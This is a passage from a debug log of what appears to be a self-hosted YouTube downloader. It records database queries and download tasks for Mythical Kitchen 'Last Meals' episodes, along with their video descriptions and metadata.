s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [37] 20:47:49.395 [info] Kicking off download for media item #37 (0AW6tWTRLeU) 20:47:49.397 [debug] QUERY OK source="tasks" db=0.2ms idle=3.6ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [40, 37, ~U[2026-03-28 00:47:49Z], ~U[2026-03-28 00:47:49Z]] 20:47:49.398 [debug] Current batch of media processed. Will check again in 1000ms 20:47:50.398 [debug] Current batch of media processed. Will check again in 1000ms 20:47:51.400 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Julia Garner eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Julia's Last Meal\n0:28 Beware Vegetable Peelers\n2:05 Josh Is Garfield\n2:38 1st Course\n4:05 Food & Death\n6:45 Fear Used To Control People\n7:53 Horror Movies\n10:23 2nd Course\n11:14 The Real Housewives of Orange County\n13:11 What Would You Do If You Were About To Die?\n14:23 Bring Back Being A Star \n14:56 The Process Is More Interesting Than The Result\n16:58 Mastering Every Accent\n18:35 Sharing Emotions With Characters\n20:23 Pepperoni In Lasagna\n21:02 Sleeptalking As Anna Delvey\n21:57 3rd Course\n22:51 Making Time To Bed Rot\n25:49 Keeping A Journal For Characters\n28:35 Great Storytelling Always Wins\n29:35 Going To Clown School\n30:06 Is Acting Lying?\n32:20 4th Course\n34:26 How Do You Cope With Grief?\n34:52 Playing Ruth In Ozark\n38:18 Lightning Round\n40:38 Julia's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2469, "filename" => "/downloads/Last Meals/2025-08-07 Julia Garner Eats Her Last Meal/Julia Garner Eats Her Last Meal [eQH5AMqpuYU].mp4", "id" => "eQH5AMqpuYU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=eQH5AMqpuYU", "playlist_index" => 38, "timestamp" => 1754560876, "title" => "Julia Garner Eats Her Last Meal", "upload_date" => "20250807"} 20:47:51.401 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=344.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:51.401 [debug] QUERY OK source="sources" db=0.2ms idle=343.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:51.402 [debug] QUERY OK source="media_items" db=0.4ms idle=344.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-08-07 10:01:16Z], 1] 20:47:51.405 [debug] QUERY OK source="media_items" db=2.4ms idle=344.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Julia Garner eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Julia's Last Meal\n0:28 Beware Vegetable Peelers\n2:05 Josh Is Garfield\n2:38 1st Course\n4:05 Food & Death\n6:45 Fear Used To Control People\n7:53 Horror Movies\n10:23 2nd Course\n11:14 The Real Housewives of Orange County\n13:11 What Would You Do If You Were About To Die?\n14:23 Bring Back Being A Star \n14:56 The Process Is More Interesting Than The Result\n16:58 Mastering Every Accent\n18:35 Sharing Emotions With Characters\n20:23 Pepperoni In Lasagna\n21:02 Sleeptalking As Anna Delvey\n21:57 3rd Course\n22:51 Making Time To Bed Rot\n25:49 Keeping A Journal For Characters\n28:35 Great Storytelling Always Wins\n29:35 Going To Clown School\n30:06 Is Acting Lying?\n32:20 4th Course\n34:26 How Do You Cope With Grief?\n34:52 Playing Ruth In Ozark\n38:18 Lightning Round\n40:38 Julia's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Julia Garner Eats Her Last Meal", "1696d9a0-3860-422f-981e-bd6a31077790", "https://www.youtube.com/watch?v=eQH5AMqpuYU", false, "eQH5AMqpuYU", 2469, false, 38, "/downloads/Last Meals/2025-08-07 Julia Garner Eats Her Last Meal/Julia Garner Eats Her Last Meal [eQH5AMqpuYU].mp4", false, false, 1, [], 0, ~U[2025-08-07 10:01:16Z], ~U[2026-03-28 00:47:51Z], ~U[2026-03-28 00:47:51Z], "Julia Garner eats her last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Julia's Last Meal\n0:28 Beware Vegetable Peelers\n2:05 Josh Is Garfield\n2:38 1st Course\n4:05 Food & Death\n6:45 Fear Used To Control People\n7:53 Horror Movies\n10:23 2nd Course\n11:14 The Real Housewives of Orange County\n13:11 What Would You Do If You Were About To Die?\n14:23 Bring Back Being A Star \n14:56 The Process Is More Interesting Than The Result\n16:58 Mastering Every Accent\n18:35 Sharing Emotions With Characters\n20:23 Pepperoni In Lasagna\n21:02 Sleeptalking As Anna Delvey\n21:57 3rd Course\n22:51 Making Time To Bed Rot\n25:49 Keeping A Journal For Characters\n28:35 Great Storytelling Always Wins\n29:35 Going To Clown School\n30:06 Is Acting Lying?\n32:20 4th Course\n34:26 How Do You Cope With Grief?\n34:52 Playing Ruth In Ozark\n38:18 Lightning Round\n40:38 Julia's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Julia Garner Eats Her Last Meal", "https://www.youtube.com/watch?v=eQH5AMqpuYU", "eQH5AMqpuYU", 2469, false, "/downloads/Last Meals/2025-08-07 Julia Garner Eats Her Last Meal/Julia Garner Eats Her Last Meal [eQH5AMqpuYU].mp4", false, 1, ~U[2025-08-07 10:01:16Z]] 20:47:51.406 [debug] QUERY OK source="sources" db=0.2ms idle=348.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:51.407 [debug] QUERY OK source="media_profiles" db=0.4ms idle=5.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:51.407 [debug] QUERY OK source="media_items" db=0.3ms idle=5.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [38] 20:47:51.408 [info] Kicking off download for media item #38 (eQH5AMqpuYU) 20:47:51.410 [debug] QUERY OK source="tasks" db=0.2ms queue=0.1ms idle=3.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [41, 38, ~U[2026-03-28 00:47:51Z], ~U[2026-03-28 00:47:51Z]] 20:47:51.410 [debug] Current batch of media processed. Will check again in 1000ms 20:47:52.411 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Andrew Santino eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Andrew's Last Meal\n0:55 Roasting Joseph Gordon-Levitt\n3:13 How Often Do You Think About Death?\n4:00 1st Course\n5:31 The Truth About Deep Dish\n7:36 Andrew's New Special\n10:22 Asshole With A Heart Of Gold\n12:40 2nd Course\n13:57 Friendship With Bobby Lee\n15:31 Experiencing Panic Attacks\n20:13 3rd Course\n23:19 Catholic Guilt\n24:43 Challenging Addiction\n26:19 Fear Of Stagnancy\n27:13 Planning A Legacy\n29:22 4th Course\n30:47 Josh Was A Fat Kid\n32:15 Having Red Hair\n33:58 \"Take It Easy\"\n35:41 What Do You Think Happens When You Die?\n37:30 Lightning Round\n41:05 Andrew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "duration" => 2520, "filename" => "/downloads/Last Meals/2025-10-02 Andrew Santino Eats His Last Meal/Andrew Santino Eats His Last Meal [XcN_kk5swOY].mp4", "id" => "XcN_kk5swOY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=XcN_kk5swOY", "playlist_index" => 39, "timestamp" => 1759399266, "title" => "Andrew Santino Eats His Last Meal", "upload_date" => "20251002"} 20:47:52.412 [debug] QUERY OK source="sources" db=0.3ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:52.412 [debug] QUERY OK source="sources" db=0.1ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:52.413 [debug] QUERY OK source="media_items" db=0.3ms idle=1003.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-02 10:01:06Z], 1] 20:47:52.415 [debug] QUERY OK source="media_items" db=1.7ms idle=1003.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Andrew Santino eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Andrew's Last Meal\n0:55 Roasting Joseph Gordon-Levitt\n3:13 How Often Do You Think About Death?\n4:00 1st Course\n5:31 The Truth About Deep Dish\n7:36 Andrew's New Special\n10:22 Asshole With A Heart Of Gold\n12:40 2nd Course\n13:57 Friendship With Bobby Lee\n15:31 Experiencing Panic Attacks\n20:13 3rd Course\n23:19 Catholic Guilt\n24:43 Challenging Addiction\n26:19 Fear Of Stagnancy\n27:13 Planning A Legacy\n29:22 4th Course\n30:47 Josh Was A Fat Kid\n32:15 Having Red Hair\n33:58 \"Take It Easy\"\n35:41 What Do You Think Happens When You Die?\n37:30 Lightning Round\n41:05 Andrew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Andrew Santino Eats His Last Meal", "d2fbe915-2f5a-4795-8711-6443526279e3", "https://www.youtube.com/watch?v=XcN_kk5swOY", false, "XcN_kk5swOY", 2520, false, 39, "/downloads/Last Meals/2025-10-02 Andrew Santino Eats His Last Meal/Andrew Santino Eats His Last Meal [XcN_kk5swOY].mp4", false, false, 1, [], 0, ~U[2025-10-02 10:01:06Z], ~U[2026-03-28 00:47:52Z], ~U[2026-03-28 00:47:52Z], "Today, Andrew Santino eats his last meal.\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\n0:00 Andrew's Last Meal\n0:55 Roasting Joseph Gordon-Levitt\n3:13 How Often Do You Think About Death?\n4:00 1st Course\n5:31 The Truth About Deep Dish\n7:36 Andrew's New Special\n10:22 Asshole With A Heart Of Gold\n12:40 2nd Course\n13:57 Friendship With Bobby Lee\n15:31 Experiencing Panic Attacks\n20:13 3rd Course\n23:19 Catholic Guilt\n24:43 Challenging Addiction\n26:19 Fear Of Stagnancy\n27:13 Planning A Legacy\n29:22 4th Course\n30:47 Josh Was A Fat Kid\n32:15 Having Red Hair\n33:58 \"Take It Easy\"\n35:41 What Do You Think Happens When You Die?\n37:30 Lightning Round\n41:05 Andrew's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.", "Andrew Santino Eats His Last Meal", "https://www.youtube.com/watch?v=XcN_kk5swOY", "XcN_kk5swOY", 2520, false, "/downloads/Last Meals/2025-10-02 Andrew Santino Eats His Last Meal/Andrew Santino Eats His Last Meal [XcN_kk5swOY].mp4", false, 1, ~U[2025-10-02 10:01:06Z]] 20:47:52.416 [debug] QUERY OK source="sources" db=0.1ms idle=359.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:52.416 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:52.416 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [39] 20:47:52.416 [info] Kicking off download for media item #39 (XcN_kk5swOY) 20:47:52.418 [debug] QUERY OK source="tasks" db=0.1ms idle=1.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [42, 39, ~U[2026-03-28 00:47:52Z], ~U[2026-03-28 00:47:52Z]] 20:47:52.418 [debug] Current batch of media processed. Will check again in 1000ms 20:47:53.419 [debug] Current batch of media processed. Will check again in 1000ms 20:47:54.420 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Stavros Halkias eats his last meal.\n\nWatch SURVIVE THE MYTHICAL KITCHEN on demand now through April 21st. Visit mythicalkitchenlive.com for details!\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Stavros' Last Meal\n1:27 Have You Thought About Your Last Meal Before?\n2:26 1st Course\n4:37 How Greek Food Shaped Stavros' Life\n6:20 Everyone Is The Same\n7:16 Slacking At The Law Firm\n9:30 2nd Course\n11:12 Ancient Greek Existential Dread\n13:40 Working Out On The Road\n14:30 Chris Farley & The Art Of Physical Comedy\n15:26 Food, Comfort, & Loneliness\n16:50 3rd Course\n18:07 Dream Fat Camp Movie Cast\n19:01 Reliving A Perfect Day\n20:40 Getting Political\n21:35 Comedian Cult Leaders\n24:10 4th Course\n25:09:00 Pressure To Be Rich\n26:05:00 Duty & Legacy\n26:50:00 What Do You Think Happens When You Die?\n27:35:00 Lightning Round\n29:23 Stavros' Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: 